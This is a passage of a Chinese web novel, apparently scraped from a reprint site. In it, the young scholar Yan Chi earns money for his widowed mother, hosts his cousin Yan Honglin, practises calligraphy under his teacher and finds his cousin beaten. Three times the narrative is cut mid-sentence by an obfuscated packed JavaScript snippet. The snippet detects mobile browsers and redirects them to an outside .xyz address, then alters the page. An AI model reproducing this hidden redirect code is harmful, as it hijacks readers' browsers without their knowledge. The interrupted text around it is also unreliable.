雅间内烛火摇曳，映亮青花小酒杯中的橙黄花雕，一口黄酒一口肉，赛过活神仙。 直到酒杯见底，桌上席面也吃的差不离。一行人才说说笑笑家去了。 沈氏有些吃醉了，在花厅歇息，晏迟给她煮了一盅醒酒汤，“娘记得喝，我回屋做功课。” 沈氏缓缓道：“辛苦你了。” “不妨事。”晏迟回屋，屋内灯火通明。 沈氏静静看着东厢房亮起的窗子，偏了偏头，少顷露出一个笑。 厢房内，晏迟奋笔疾书，不知不觉一个时辰过去，他娘还在花厅。 晏迟惊了一跳，“娘为何还不睡？” “想起一点往事。”沈氏轻描淡写，声音顿了顿，转移话题，“今日得了十二两，咱们也能松快一阵。改明儿，娘去周屠户那儿买一条肉。” 晏迟沉默，摸了摸鼻子，“娘，其实……” 他少见的支支吾吾，夜风吹散乌云，月华大盛，皎洁的月光映出他面上迟疑。 沈氏莞尔：“怎的了，跟娘也不能说？” 晏迟：……… 晏迟闭了闭眼，随即睁开眼，正色道：“其实贺记绣庄的刺绣赛事，是我给贺少东家提议的。之前没说，是怕影响娘参赛。” 沈氏愣在当场，神情茫然，她一时很难把正在进学的十岁少年，与贺记绣庄联系在一起。 这实在太奇怪了。 但很快她脑海中浮现晏迟询问针线布料的一幕。 沈氏：……… 沈氏心情微妙，不知该夸儿子孝顺，心思剔透，还是该责备儿子心思偏了。 晏迟看出他娘纠结，立刻道：“娘放心，我晓得轻重，念书科举才是正事。” 沈氏松口气，又听晏迟道：“但人食五谷，一文钱难倒英雄汉。” “既在俗世，怎不为俗事费心。儿既有法，何不挣来金银，解娘愁绪。娘爱重儿的心，亦如儿爱重娘。” 沈氏鼻头一酸，险些落了泪，她忙别开脸，庆幸夜里暗，不叫晏迟看见。 缓了一会儿，她才道：“这次就算了，下次你做甚，先与娘说。” 晏迟应下，回屋把十两的银元宝和四两碎银与她。 晏迟笑道：“原是十五两，我用了些。过两日休沐，我再去一次贺记绣庄，结剩下银钱。” “嗯。”沈氏拿了十两的银元宝，剩下四两碎银还给晏迟。 她说：“我准备做些龟苓膏，给章大娘子送去。” 次日，何大醉酒未起，孙娘子着急，恨不得亲自赶车送晏迟，奈何她不会。 晏迟笑道：“昨日喜事当尽兴，所以我托茶仁馆小厮帮我寻了一辆马车，这会子就在巷口等着呢。” 孙娘子半信半疑，跟着去巷口，果然看到一辆青篷马车，晏迟道：“伯娘可信了？” “信了信了。”孙娘子挥手与他告别。 待人行远了，孙娘子提着裙摆往回跑，她嘞个亲娘！ “何大，何大！”她一把推开正屋门，把丈夫晃醒，“迟哥儿真是聪明的不像话了。” 何大困的睁不开眼，含糊道：“迟哥儿不聪明，严举人能收他吗？” “这倒是。”孙娘子倏地丢开丈夫，何大摔回床上，呼呼大睡。 孙娘子：……… 何小哥儿在屋外敲门，嚷嚷着肚子饿，能不能把昨晚打包回家的点心吃了。 孙娘子火气腾地起来了，揪着小儿子的耳朵，“你都十岁了，自己做饭，吃完去上学。” 何小哥儿委屈，“往日都是娘做饭的。” 何小哥儿继耳朵被揪之后，屁股又挨了一脚。 晏迟进了严家，抓紧时间背书，昨日太晚了，背诵的功课只做了一半。 严抱贞竖着耳朵听了一会儿，忍不住乐，“想不到迟哥儿也有完不成功课的时候。” 晏迟不好意思笑笑，没解释，继续背诵。 沈氏花了两日购齐熬煮龟苓膏的材料，傍晚晏迟回家，院里萦绕淡淡的药材味。 他上一次吃龟苓膏是几年前，熬煮的龟苓膏很苦，他不肯吃。他爹不知去哪儿提了一罐牛乳，又捎带果酱，掺了蜂蜜和糖。他足吃了两大碗，撑的肚子疼。 他娘一边给他揉肚子，一边埋怨他爹不加阻拦。 他爹连连拱手赔笑，道不是。 待他娘离去后，他爹捏着他脸蛋子，“小坏蛋，下次只准你吃小小一碗。” 小晏迟咧嘴笑，同他爹装傻。 当时不觉，如今百般滋味。 晏迟搁下书箱，开口唤人，沈氏从小厨房出来，晏迟有些意外：“娘还在忙？” 沈氏抬袖擦擦汗，“左右入了厨房，今晚家里做饭，给你炒虾吃，再煎两个蛋。” 笼子里的两只母鸡被忽视，不满叫唤，彰显存在感。 晏迟脱去青衫，搭在椅背，进小厨房取食取水喂鸡。 母鸡进食的时候，他检查鸡笼，收拾鸡粪。 最近天热，他打算再在鸡笼盖上添几捆茅草，隔热效果更好。 他说给他娘听，沈氏没有异议，晏迟又道：“今日十三了，明儿休沐，我上午去一趟贺记绣庄，把剩下十五两结了，回来顺道把茅草买了。” 沈氏也道：“娘明儿上午要去一趟严家，给章大娘子送龟苓膏。” 晏迟：“好。” 一夜好眠，次日沈氏带上龟苓膏，坐何大的骡车去严家。晏迟慢条斯理步行去贺记绣庄。 彼时贺记绣庄已成交买卖，晏迟一入绣庄，赛掌柜就瞧见他了，笑盈盈迎上来。 他引晏迟去后院天井，奉上热茶点心。不多时，贺少东家赶了来，简单寒暄后，贺少东家结了剩下十五两，又推去一个红封。 晏迟没接，他看向贺少东家，“少东家这是何意？” 贺少东家意气风发，“赛事出乎意料的成功，贺记不但打出知名度，还接了大单。” 他爹仅昨日一日，夸了他三回。 这一切都是因着晏迟，贺少东家将晏迟夸了又夸，最后终于提出请求，日后晏迟若再有妙法，还望先考虑贺记绣庄。 晏迟默了默，叹道：“少东家真是天生的生意人，没有我，你很快也会崭露头角。” 贺少东家笑道：“一人计短，哪能比拟二人计长。” 话说到这份上，晏迟不收红封都说不过去。 红封落手，不轻不重。 他有些疑惑，离了贺记绣庄后，顺手拦辆牛车回家。 晏迟才打开红封，红封内不是银两，而是金叶子，金瓜子。 他翻出家里的戥子，称了称，约摸一两五钱。时下金银兑换1：8，能兑十二两白银。 当然，去钱庄兑换时，需交一笔手续费。 晏迟捻着金叶子在日光下瞧，熠熠生辉，璀璨耀眼。 “不愧是数千年来的硬通货。”晏迟轻笑，将金叶子和金瓜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668430|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装盒，放进自己屋里。 “叩叩——”院门被敲响。 “迟哥儿——” 晏迟眼睛一亮，忙不迭开门，晏宏临背着背篓，提着桶站在门外，脸蛋被太阳晒的红彤彤。 晏迟迎他进屋，“阿婆没有来吗？” “…没…没呢。”晏宏临含糊道。 晏迟明了，老人家肯定是来县里了，没跟着晏宏临一道，是怕来晏家，让晏迟母子俩破费。 晏宏临这次又送来三十斤米，还有鸭蛋，十几条黄鳝，鲜核桃，地里产的花生。 他一边放厨房一边道：“这是四叔公家腌的咸鸭蛋，味道不错，让我带来给你和伯娘尝尝。” “鲜核桃是榆伯家的哥给的，虽然有些脏手，但是老人说核桃对脑子好。”晏宏临不好意思的抓抓后脖子。 他没说黄鳝是他去逮的。 这些农家东西不值钱，他怕迟哥儿嫌弃。来之前他们又挑了一遍鲜核桃，都挑着大个的，美观的。但鲜核桃吃起来是真麻烦。 晏迟握着晏宏临的手，嘴唇动了动，才道：“临哥，谢谢你们记挂。” 晏宏临本就被日头晒红的脸更红了，吭哧道：“你看你，又客气。” 晏迟笑：“好，我不客气，正逢我休沐，有两日假。地里也不忙了，我带着你在县里玩一玩。” “啊？”晏宏临迟疑，眼神发虚，他当然是想在县里同迟哥儿玩的，可是他阿婆还等着呢。 晏迟也不拆穿他，回屋拿了两本书，又进了一趟小厨房背上背篓，拉着晏宏临出去买了点心，“现在告诉我，阿婆在何处等你。” 晏宏临：？？？ 晏宏临：！！！ 西城城门处，老郑氏在大树下纳凉，有一搭没一搭同人闲话，忽然视野里出现孙子身影，她刚要唤人，瞥见孙子身边的少年，忍不住揉了揉眼睛。 这一怔愣，晏迟同晏宏临已经近了，晏宏临低着头不敢看他阿婆。 老郑氏：……… 晏迟笑着同老郑氏问好，又问了问族人安好否，把点心和书籍给她。 晏迟道：“这两本启蒙书是我闲暇时誊抄的，包括我爹做的注解。希望能对族里有帮助。” 老郑氏只觉日头更毒了，一张老脸燥热，晏迟把书籍和点心塞她手里，又道：“我好久没见临哥，希望阿婆应允，让临哥在县里待两日。” 老郑氏对上孙子希冀的目光，最后叹道：“不许给迟哥儿添麻烦。” 晏宏临连声应。 晏迟这才把身后背篓给老郑氏，晏迟道：“阿婆，我们就走了。” 老郑氏不疑有他，一再叮嘱晏宏临不要添乱，等两人走远了，老郑氏才觉背篓有些重，底部放着一个陶罐，盛着龟苓膏。 旁边人瞅道：“这可是好东西啊。生津润燥，老人家，你孙子真孝顺。” 老郑氏心说迟哥儿这孩子真是客气，搞的她往后真不敢登门了，又寻思下次给迟哥儿送些什么…… 她坐在回村的牛车上，嘴角没下来过。 那厢晏迟和晏宏临买了茅草回家，搭在鸡笼上，一通忙活完，沈氏从外面回来。 晏宏临脆生生唤“伯娘”。 晏迟道：“我叫了菜，等会儿送来。” 沈氏终于回过神来，嗔怪儿子，“这么热的天，你还叫临哥儿忙活，快去花厅歇歇。” 她进小厨房，给两人舀了两碗龟苓膏，浇上蜂蜜果酱。 11. 兄弟之忧 午饭后，晏迟看了看天色，日头凌空，正热的厉害，“临哥，你到我屋里困个中觉，待暑热削减些，咱们再出门。” 晏宏临看了一眼东厢房，眼里溢出好奇和隐隐的期待，言不由衷道：“这会不会太打扰。” “不会。”晏迟已经推开门，回头看了他一眼，晏宏临跟上。 屋子不大不小，进深方向一张四方桌，往里是楠木原色浮雕万字纹双扇门衣柜，对着一张刻回字纹原色松木床。 床头边一张榆木书柜，上边空格放满书，下面抽屉，中间部分掏空，置些杂物。 厢房内正对院子的方向开红漆格子支摘窗，临窗书桌，桌面摆着笔架，宣纸等，最醒目的是一盆文竹，苍翠欲滴，养的极好。 晏迟素日支起外层格窗，剩一层纱屉，透光又通风。 晏宏临环视一圈，只觉哪哪儿都好，他想象中迟哥儿住的地方就该是这样，他有感格格不入，在门处的四方桌边坐下，胡乱找着话题，“迟哥儿，你怎么不辟一间书房。” 话落，晏宏临就悔了。 晏迟提起桌上茶壶，给他倒一杯茶水，也给自己倒一杯，晏宏临端起茶杯欲喝，听晏迟道：“因为我懒。” 晏宏临手一抖，茶水洒了半身。 晏宏临：！！！ 晏宏临恨不得找个缝儿钻进去，无措道：“迟哥儿，我…我……” 晏迟扯了干巾子给他擦，不忘回道：“我住东厢房，辟书房只能去西厢房，我不想两个屋子来回跑。” “啊？”晏宏临茫然点头：“喔喔。” 这话换个人说，他都会认为是对方在污蔑迟哥儿，但偏偏是晏迟亲口说的。 晏迟皱眉，茶水浸湿太多，擦不干。 “左右衣衫湿了，你去后院湢室冲洗，我给你拿我的衣裳换。”晏迟当下决定道。 “喔喔。”晏宏临习惯性点头，点到一半愣住：“啊？？” 晏宏临试图拒绝，“迟哥儿，天气热，裤子一会子就穿干了。” 晏迟不语，盯着他瞧。 数息，晏宏临败下阵来。 两人之中，分明他年岁大些啊。晏宏临咕哝。 晏宏临去后院冲洗，出了湢室，发现迟哥儿把他换下来的短打已经洗了，正在晾晒。 晏宏临：！！！ 他都要崩溃了！ 迟哥儿的手那么金贵，要念书写字，竟然给他洗衣服！他阿婆知道了，肯定会胖揍他的。 晏宏临恍惚，晏迟已经晾好衣服，冲他道：“你不说我不说，无人知。” 晏宏临：……… 两个少年回厢房，躺床上困中觉。 但晏宏临睡不着，翻来覆去，最后侧身仰视书柜上书籍，看的久了，喃喃：“迟哥儿，你人聪明又刻苦，又拜严举人为师，往后是要科举的罢。” 晏迟轻轻应了一声，随口反问，“你呢？” 晏宏临半坐起身，有些雀跃，“一个月之前你问我，我肯定不知道往后作甚。但现在我可以告诉你。” 晏迟也跟着半坐起身，倾听。 晏宏临书念的不好，虽然学至五经，可是前面的四书又忘了大半。但又比没念过书的好些，他能认会写，教他同父辈一般种田，总有些不甘心。 他原想着再念两年学，而后去县里做伙计，往后向账房发展。亦或做学徒，学一门手艺。 他家里人也是这样安排他的。 但一个月前，去窑厂做学徒的晏常业学成归村。 晏宏临眉飞色舞：“常业哥机灵，去窑厂当了五年学徒，就摸透制窑的本事，现在他同人一起建窑，肯定需要人手，我能读会写，算学也还不错，我应该可以帮上忙？！” 晏宏临双眼发光，为找到自己未来的路，充满欢喜和无限希冀 但晏迟却不太看好。 小作坊不好干，更别说晏常业还是同人一起建窑，利益都不够分，哪还轮得到晏宏临。 不过凡事也有例外，万一晏常业和他的合伙人都靠谱，晏宏临和晏常业感情好呢。 于是晏迟委婉询问晏宏临和晏常业平日相处，结果令晏迟沉默。 晏常业待晏宏临是寻常族兄弟，远不如晏迟和晏宏临亲近。 但晏宏临满怀希望，晏迟不愿泼他凉水，好不好的，总要晏宏临亲自体验。晏迟可以提建议，但不能替晏宏临决定。 晏宏临一番畅聊后，心情愉悦，倒头就睡了。 晏迟想的多，缓了一刻钟才睡下。 两人再次醒来，已是申时三刻，晏宏临忙不迭起身，提议要去看看县里的瓷器。 晏迟没有不应，正好何大在家，带二人出门。 晏宏临扒着车框，看什么都稀奇。终于，骡车停在县里最大的瓷器铺，延盈阁。 何大在车上等着，晏家兄弟进铺。 晏宏临挨个细瞧，记下价格。 若非两人年岁不大，掌柜和伙计都要疑他们二人是同行了。 末了，晏迟上前询问：“不知瓷器要进贵铺，有个什么流程要求。” 晏宏临全神贯注望着。 掌柜疑惑全消，原是想给他们铺子供货啊。 申掌柜顿时端起架子，晏迟给晏宏临使了个眼色，晏宏临试探着捧起柜台上茶盏奉上，申掌柜掀了掀眼皮，晏宏临讨好笑，申掌柜哼了一声，接过茶水喝了，“你家大人忒没规矩。”自个拉不下脸，派两个半大小子打头阵。 晏迟拱了拱手，帮衬道：“窑厂刚起，实在离不开人。” 申掌柜观察这二人许久，两人对待瓷器十分小心，低声交谈，不吵旁人，还算懂分寸。 是以，申掌柜也没怎么为难，提醒道：“咱们延盈阁是县里大家，门槛高。” 申掌柜一边提要求，晏迟默记，晏宏临暗暗着急，他只记住了小半。 申掌柜见晏迟神态不疾不徐，有心逗他：“你可记住了？” 晏迟当下复述，错漏几个字，但主要内容大差不差。 申掌柜乐了，“小子记性不错啊。” 晏迟笑笑。 “不过记得快也忘得快。”申掌柜从伙计手里拿过一张图纸给他，“喏，要求都在这上面了。” 晏宏临喜形于色，千恩万谢的，看的申掌柜摇头，这岁数大的还没小的稳重。 晏家兄弟出了铺子，晏宏临还念叨：“这位申掌柜人真不错。” 晏迟颔首。 晏宏临上车后，开始算一个瓷盘的进价，售价，利润几何。 晏迟没打扰，只是经过杂货铺时叫停，他挑了一个上好的算盘送给晏宏临。 晏宏临抱着算盘眼泪汪汪，“迟哥儿，你真好…我…我…”他都不知道怎么感谢了。 晏迟道：“一个算盘尔，咱俩谁跟谁。” 晏宏临用力点头，“咱俩天下第一好。” 晏迟笑出声，晏宏临的话语稚气，却实在纯真。 晚上晏宏临都抱着算盘睡，喜气洋洋。晏迟见状，眼中溢出忧虑。 次日上午，晏迟带晏宏临出门逛。可惜晏宏临一颗心早就飞远了，晏迟招待他用过午饭，就送他回村。 分别前，晏迟叮嘱：“临哥，你去延盈阁问价的事，咱俩知晓就好。对其他人，你要装作是你偶然碰见窑厂送货，听来的信息。明白吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668431|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我晓得的，放心罢迟哥儿。”晏宏临拍着胸脯，豪气万丈。 晏迟见他如此，知晓他是一字也没听进去，叹道：“不管发生什么事，你来县里找我。临哥是什么样的人，我心里明白得很。” 晏宏临哈哈笑，“好。” 他欢欢喜喜离去了。正午的日光亮的刺眼，热浪蒸腾，空气扭曲着，模糊了前路。 晏迟从西城回去，何大打趣他，“兄弟离开，迟哥儿不舍了？” 晏迟啼笑皆非，他不是为着这个，但内里缘由更不好说，他应下：“是呢。” 何大大笑，安慰道：“过几日就好了。” 下午，晏迟抓紧时间做功课，背文章。次日一早，他换上青衫纶巾去严家。 数日后，严汝青在午间把晏迟叫去背人处，小声问：“迟哥儿，有件事……” 他欲言又止。 “青哥？”晏迟唤。 严汝青对上晏迟清澈的眼，那双眼倒映出他的纠结。他咬咬牙，“！哎呀，就是，就是贺记绣庄的赛事，是不是你策划的。” 晏迟有些意外他问这个，但也不是见不得光的事，爽快应了，“是我。” 严汝青一脸牙酸表情，胡乱抓着脑袋，缓缓蹲下。 “青哥，怎的了？”晏迟疑惑。 严汝青闷闷道，“贺记绣庄有两个对家，一个云裳阁，一个华绣坊。” 晏迟静静听着。 严汝青抬首，凌乱发中，双目出神：“华绣坊东家的幼子曾沛奕，他…幼时我与他交好。” 晏迟：……… 晏迟没想到其中还有这么一段关系。 严汝青无力道：“从前曾沛奕数次欲拜我爹为师，被拒。他就与我割席断交了。” 他说的轻描淡写，但当初这事在严家闹的大。 曾沛奕怪严汝青不说情，但曾沛奕不知，严汝青为求他爹松口，又是书门跪求，又是绝食。被严举人拿藤条抽的半个月下不了床。 这些事太丢人，就没必要说了。 “难怪那日你会提一嘴刺绣赛事。”晏迟就说他当时感觉没错。 严汝青叹气。 晏迟也蹲下来，跟他面对面：“你们断交已久。你一个读书人现在跑来问我刺绣赛事，是不是曾小公子来质问你了。” “我想想啊。”晏迟歪头思索，然后愤愤道：“‘枉我曾真心待你，你爹不愿收我也就罢了，如今你和你师弟还联手来攻击我家生意，你这么见不得我好。’” 严汝青眼睛大睁，面皮颤抖，恨不得当场昏过去。 晏迟赶紧扶住他，宽慰：“人家存了心冤你，真相如何并不重要。” 倏地，晏迟顿住，他盯着严汝青眼睛，“你方才叫我出来时，支支吾吾的心虚模样……”他眯了眯眼：“有猫腻。” 严汝青真想两眼一闭，万事不知了。 晏迟挑眉，道：“因为这赛事是我策划的，我娘又得了特奖，他是不是拐弯抹角说特奖人选内定我娘了。” 严汝青：……… 晏迟提醒他道：“赛事一甲考绣艺。特奖却是综合品评，囊括创意，绣艺，针法平整度等，特奖的评选，两位刺绣大家的投票只占两成，剩下八成是围观众投票。” “我当初做这事，仅是为我娘博一个机会，结果如何，全看我娘本事。所以我不惧人言。”顿了顿，晏迟揶揄：“这些流言他也不会大范围传开。” 严汝青眸光微动。 晏迟垂眸笑：“因为一见光就散了。” 再者，赛事主题“丰收和敬老”，县令若有心，择最优绣品呈上。未必有功，但必定无过。 12. 严汝中 对于曾家小公子，晏迟冷处理，继续念书。 他学业竿头日上，连严举人都侧目，私下与娘子道：“迟哥儿之悟性，远胜同龄人。” 章大娘子诧异，思索片刻，问：“与沅嘉相比，如何？” 严举人蹙眉，捋了捋胡须：“……还得再瞧瞧。” 章大娘子：……… 严举人起身去书柜抽屉里，寻了一幅楷体字帖，下午小测后，严举人将这幅字帖送给晏迟。 今日功课，描大字。 晏迟拱手礼过，这才接过字帖。 “今日所学文章也不可落下。”严举人道。 晏迟恭敬应是。 严举人垂眸看着他，少年低眉敛目，温良端方。 晏迟聪慧，好学，刻苦，难得的是有一颗玲珑心，当初拜师，便可见周全。 严举人自问苛刻，也挑不出晏迟一处不是。 他收回目光，抬脚离去。 一旁的严汝青夸张的吐出一口气，“每次先生在侧，我都不敢松懈。” 严抱贞摇头晃脑道：“先生威严日深，我等不敢造次。” 晏迟忍不住笑，他收拾笔墨，将字帖妥善放书箱。 严汝青送他离去。 晏迟回家后，沈氏在家，“你去做功课，娘来喂鸡。” 晏迟笑应，他放下书箱，脱去青衫，换了一件旧外袍。 深秋时节，天气有些冷了。 晏迟拿出字帖，没有忙着描，而是仔细观察每一个字的起笔，走势，结构。他心中将每一个字解构，再组合。 沈氏见他虽未动作，但神情严肃盯着字帖，放轻手脚做事，唯恐打扰他。 半晌，晏迟提笔描字，初始还有些许生涩凝滞，但渐渐地，笔画顺畅，行云流水。 待他搁笔，天色深青，无边夜色即将袭来。书桌旁一星灯火悠悠映着他面庞。 沈氏递给他一方热帕，“擦擦脸，醒醒神，就吃晚饭了。” 她进小厨房端出白粥，又将铁锅里温着的卤猪头肉取出，伴一碟脆口小咸菜。 “往后娘莫等我了。”晏迟道。 沈氏给儿子夹肉：“娘又不饿，这会儿吃晚饭正好。” 随即，沈氏又道：“我观你描字流畅，可是有进步了。” 晏迟点点头，“这幅字帖，是散学前先生与我的。” 他猜测严举人是从他之前字迹中看出问题所在。 学问也好，练字也好，更多在于学生悟性和刻苦，半点懒也偷不得。 夜深了，东厢房亮着灯，晏迟过了一遍文章，开始背诵，最后迷迷糊糊睡去。 次日，他将描好的大字呈上，严举人细细看过，沉吟道：“尚可。” 严抱贞几人见严举人夸赞，歇息时拿过晏迟描的字，一阵静默。 严汝青抱头趴回桌上，俊秀的眉眼耷拉着：“迟哥儿，你进步的速度叫我害怕。” 严抱贞附和，“我压力好大。” 程沅嘉眼中闪过兴味，仔细看过之后，指出几处不足。 晏迟受教，两人凑在一处探讨。少顷，晏迟磨墨，程沅嘉提笔蘸墨书写。 严汝青和严抱贞一扫颓废，积极凑上去瞧，严抱贞摩挲下巴，“单看迟哥儿的字迹不觉，对比嘉弟的大字，迟哥儿真是纯善温良了。” 晏迟盯着程沅嘉的字迹，起笔，行笔，收笔，无一不透着锐意。 严抱贞看的心痒，“字帖与我用一下。” 他回自己坐位，提笔书写，其他三人旁观，严汝青笑道：“贞哥的楷体写出行书风格。” 严抱贞搁笔，得意昂首，“怎样，颇有本人风格罢。” 晏迟看看字迹，又看着严抱贞，心说字如其人这说法，还是有迹可循的。 严汝青也嚷嚷着露一手，虽然严汝青和严抱贞对晏迟称赞不已，但事实上，二人所学甚久，对字体的把控，自己风格都胜过晏迟。 严汝青的字体灵秀逼人，很是漂亮。晏迟当初刚至讲室，严汝青誊抄文章与他，晏迟就被那手漂亮的楷体惊艳了。 他借过三人字迹，在书桌上与自己字迹对比，严汝青等人见状，晓得他在感悟，纷纷噤声，不敢打扰他。 抱贞师兄字体洒脱典雅，沅嘉师兄字体锋芒锐利，青哥字体灵动。 那他呢？ 稳重端方？ 晏迟敛目思索，脑中浮现字帖，将每一个字的字体再次解开，脑海中模拟书写。 起笔，行笔，收笔。 每一笔庄重，求稳，挑不出错。但晏迟总觉得缺了点什么。 缺了什么呢？ 晏迟回神，只觉腹中空鸣，才觉已至午后，严汝青等人正在小测。 严举人看了晏迟一眼，“随老夫来。” 二人一前一后出了讲室，晏迟被管家全伯带去食舍，备着他的午饭。 晏迟心中一暖，拱手礼道：“多谢。” 全伯避开不受，“迟哥儿忒客气，用了饭就去老爷书房。” 晏迟应声。 他确实饿了，多亏礼仪规矩束着，否则早狼吞虎咽。饶是如此，他进食速度也比平常快。 饭后，他歇息片刻，用了一碗红豆饮子，这才起身去书房。 严举人正在书案后阅书，见晏迟来，开门见山道：“昨日与你字帖，你用过之后可有感悟。” 晏迟沉默，少顷摇头：“学生愚钝。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668432|173033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>严举人将手边的字帖给晏迟，共三幅，行书，草书，还有隶书。 行书飘逸，草书狂放，隶书粗犷。 晏迟默了默，迟疑问：“不知先生用意是？” 严举人言简意赅：“悉数带回，描大字。” 晏迟：……… 之后数月，晏迟除却文章，每日大半功夫都在描各种字体的大字。 严抱贞等人也时时指点，晏迟颇有所得，不觉练字乏味辛苦，愈发有兴致了。 转眼腊月初五，晏迟再次将昨日功课呈上，严举人看过之后，给他两幅前朝大家的楷体字帖。 晏迟谢过，初六一早再来严家时，严汝青兴冲冲对他道：“迟哥儿，我阿兄回来了。” 不等晏迟细问，严汝青主动道出：“昨日散学后，你前脚刚走，我阿兄后脚就回了。” 晏迟笑叹：“这可真是不凑巧了。” “无妨无妨。”严汝青摆摆手，双眼笑如弯月，“我阿兄此次归家，为着翻年县试，暂时不回书院了。” “或许他还能指导我们一下呢。”严汝青畅想。 晏迟犹豫：“汝中哥县试在即，估摸忙着备考。” “他才不忙呢。”严汝青哼哼。 晌午，严汝中一袭蓝袍，头戴纶巾，来食舍寻他们，声响如钟：“午饭吃甚，有无我爱吃的。” 他翻年才及冠，面如美玉，长眉凤眼，轮廓分明，打眼望去，他与严举人眉眼六七分相似，再瞧却是不像了。 盖因他眼睛太亮，灵秀有神，严举人是静默的山，严汝中是洒脱的风。 严抱贞笑：“糟青鱼干，煮豆子，豆腐汤，没甚你爱吃的。” 严汝中撇嘴，他越过严抱贞，行至晏迟跟前，左右偏头望了望，忽而伸手，揉揉晏迟的脑袋，“跟从前差不离，我一眼就认出来了。” 晏迟腼腆笑：“汝中哥好。” “嗯嗯，我很好。你好不好？” 晏迟郑重的点点头，道：“我好的，严家上下都待我好。” “呆小子。”严汝中哼笑，他取了饭菜同师弟们一道吃，饭后一道午睡。 下午，严汝中亲自搬桌子入讲室，落在后位。 严举人看见他在，气的眉毛跳了跳，严汝中笑盈盈回望，伸手不打笑脸人。 严汝中并没有即将科考的紧迫感，十分乐于指点师弟们。 严举人离去后，他从抽屉翻出两套考卷，分别搁在严抱贞和程沅嘉桌上，随即变戏法的从袖中抽出一支香，点燃。 “喏，限时作答。” 严抱贞和程沅嘉肃了脸色，严汝青茫然，晏迟在短暂惊讶后，收敛神色。 翻年下场科考的，应是三人。 13. 解忧 腊月廿四，私塾放年假，年后初八归学。 沈氏早备了年礼，腊月廿五一早，她令儿子给严家送去。 “娘不去？” 沈氏道：“娘一个寡妇，平日也就罢了，年节时候登门，难免晦气。” “娘……”晏迟微微皱眉，并不赞同。 沈氏嗔怪，“时情如此，哪能因你我母子二人改变。你平日通透，怎的一时钻牛角尖了。” 晏迟抿了抿唇，有些难受。他出门时，神情些许低落。 他乘坐何大的骡车去严家，向先生和师娘拜年。章大娘子没见着沈氏，心下无奈，与翠喜私话，“沈妹妹心思细，我瞧迟哥儿的谨慎周全，是随了她。” 翠喜附和着。 晏迟归家后，沈氏在花厅整理明日晏迟给晏氏族人的年礼。 “从前你守孝，不好登门。今岁你出了孝，怎么也该去村里走一遭，向长辈拜年。” 晏迟颔首，同他娘一起清点。 之前族里给他们送来米粮瓜果，这一次拜年，礼得厚些。明年再照旧即可。 晏迟顿了顿，道：“冬日里我一心练字念书，无暇他顾。如今回想，却是许久不见临哥，不知他如何了。” “那是你忙，一旬前临哥儿才送过冬笋酱鸭。”沈氏捋了捋碎发，坐在椅上歇息，呷了一口红茶，回忆道：“当时他面色红润，眼睛明亮，神采奕奕，似有什么好事。但他没主动说，我就也没问。” 晏迟闻言，心里有数了，看来天佑临哥，所遇皆是稳重靠谱的人。 他心里也欢喜，晚上买了馒头，并一罐羊杂汤，同他娘一道吃。 羊汤温补驱寒，一碗汤混着馒头下肚，整个人都暖和了。 彼时天已经黑透，晏家院里灯火明亮，晏迟洗漱，正准备回屋。 倏地院门叩响，敲击声又急又密。 行至正屋门处的沈氏心头一跳，晏迟下意识横手，“娘莫出来。” 他迅速进小厨房揣了菜刀，气沉丹田，喝问：“谁！” “迟哥儿，是我。”何大的声音传来，晏迟微怔，搁下菜刀，三步做两步开了院门，不等晏迟询问，何大低声道：“我才归家，在巷口见着一人徘徊，似是你那个兄弟。” “天色太晚，又冷得很，我心里觉着不太对劲，不敢惊动他，所以快快回来，与你通个消息。” 晏迟心头咯噔，直觉不妙。二话不说同何大出门，何小哥儿提着一盏半旧红灯笼迎上来，“我哥在巷口盯着呢。” 晏迟看一眼何大，惊讶其心思细。 何大也望来，两人四目相对，何大道：“你莫急，或许是我看错了，虚惊一场。” 晏迟道：“看看就知晓了。” 他们快步行至巷口，何大和何小哥儿走前面，掩住晏迟。 何二郎向他们行来，飞快道：“我仔细瞧过了，不会错。你们快些，他似要离去了。” 晏迟立刻越过何家父子，朝西街的人影而去：“临哥。” 那身形一滞，随即拔足狂奔，晏迟哪追得上，立刻哎哟一声，往旁边摔去。 果然那身影顿住，忙不迭折返而来，扶起将要倾倒的晏迟，何家人一拥而上，把晏迟和晏宏临都围住。 红灯笼一照，映出晏宏临的狼狈，他头发凌乱，灰色夹袄破了好些口子，露出内里棉花，千层底黑面布鞋也跑掉了一只。 晏迟惊声：“临哥！” 晏宏临抿唇，难堪的低了头，不敢去瞧晏迟。 晏迟所有疑惑憋回腹中，他牢牢拽住晏宏临手腕，往家去。晏宏临挣了几次，没挣脱开，只得默默跟着走。 一行人回家，何小哥儿故意落后晏迟他们几步，跟何二郎说，“迟哥儿他哥，好像被打了。” 